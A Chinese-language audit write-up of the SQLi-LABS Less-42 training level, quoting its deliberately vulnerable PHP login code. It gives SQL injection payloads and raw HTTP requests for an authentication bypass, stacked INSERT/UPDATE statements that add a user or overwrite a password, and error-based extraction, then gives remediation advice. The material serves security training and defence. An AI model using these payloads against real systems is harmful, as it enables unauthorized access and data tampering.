Less-42 审计报告:登录处堆叠注入(密码字段未过滤)

1. 关卡概述

2. 漏洞代码定位

文件: Less-42/login.php

// 第 23 行:mysqli 连接
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);

// 第 25 行:用户名被转义
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

// 第 26 行:关键 —— 密码字段完全未过滤!
$password = $_POST["login_password"];

// 第 42 行:单引号拼接
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

// 第 43 行:关键 —— mysqli_multi_query 支持多语句
if (@mysqli_multi_query($con1, $sql))
{
    // 第 46~58 行:有结果则返回 $row[1](用户名)
    if($result = @mysqli_store_result($con1))
    {
        if($row = @mysqli_fetch_row($result))
        {
            if ($row[1]) { return $row[1]; }
            else { return 0; }
        }
    }
    else
    {
        // 第 64 行:报错回显
        print_r(mysqli_error($con1));
    }
}
else
{
    // 第 71 行:报错回显
    print_r(mysqli_error($con1));
}

第 80~85 行:$login = sqllogin(...);返回非 0 则写 $_SESSION["username"]、setcookie("Auth",1,...) 并跳转 logged-in.php——只要注入让 SELECT 返回行即登录成功。

3. 漏洞分析

• 核心缺陷一:第 26 行密码字段 $_POST["login_password"] 完全未过滤,可直接注入。
• 核心缺陷二:第 43 行 mysqli_multi_query 支持 ; 分隔多语句,可堆叠 INSERT/UPDATE/DELETE。
• 闭合方式:WHERE username='$username' and password='$password',payload 在密码字段以 ' 闭合引号,-- - 注释尾部。
• 报错回显:第 64、71 行;登录成功/失败还有"是否跳转 logged-in.php"这一行为差异。
• 可被绕过的本质:只给用户名做了转义,忽略了密码字段;同时启用多语句执行。

4. 利用方式

步骤一:万能密码登录(绕过认证)

login_user = admin
login_password = ' or 1=1-- -

拼接后:

SELECT * FROM users WHERE username='admin' and password='' or 1=1-- -'

• or 1=1 恒真,返回第一个用户,$login != 0 → 跳转登录成功。

步骤二:堆叠注入插入新用户(核心 payload)

login_user = admin
login_password = admin' ;insert into users(id,username,password) values(100,'admin2','admin2')-- -

拼接后(两条语句):

SELECT * FROM users WHERE username='admin' and password='admin' ;
insert into users(id,username,password) values(100,'admin2','admin2')-- -'

• 随后用 admin2/admin2 登录即可。

步骤三:堆叠 UPDATE 修改密码

login_password = admin' ;update users set password='pwned' where username='admin'-- -

步骤四:报错注入(利用报错回显)

login_password = ' and extractvalue(1,concat(0x7e,database()))-- -

5. Yakit 重放数据包

POST /sqli-labs/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 103
Connection: close

login_user=admin&login_password=admin%27%20%3Binsert%20into%20users(id,username,password)%20values(100,%27admin2%27,%27admin2%27)--%20-&mysubmit=Login

万能密码报文:

POST /sqli-labs/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 42
Connection: close

login_user=admin&login_password=%27%20or%201%3D1--%20-&mysubmit=Login

%27='、%20=空格、%3B=;、%3D==。Content-Length 以实际发送字节数为准。堆叠注入为数据破坏性利用,仅在授权靶场练习。

6. 修复建议

修复一:PDO 预处理 + 禁多语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :u AND password = :p LIMIT 0,1");
$stmt->execute([':u' => $_POST['login_user'], ':p' => $_POST['login_password']]);
$row = $stmt->fetch();

修复二:mysqli 预处理 + 密码校验

<?php
// 1) 密码不再拼 SQL,先做业务校验
$stmt = $mysqli->prepare("SELECT username FROM users WHERE username = ? AND password = ? LIMIT 0,1");
$stmt->bind_param('ss', $_POST['login_user'], $_POST['login_password']);
$stmt->execute();
// 2) 更推荐:密码存哈希,用 password_hash()/password_verify()

修复三:加固要点

• 移除 mysqli_multi_query;所有字段(含密码)一律参数化;
• 登录认证改哈希密码 + password_verify();
• 关闭 mysqli_error() 回显;数据库最小权限(只读账号);
• 升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。
• 本关要点:密码字段未过滤 + mysqli_multi_query 堆叠。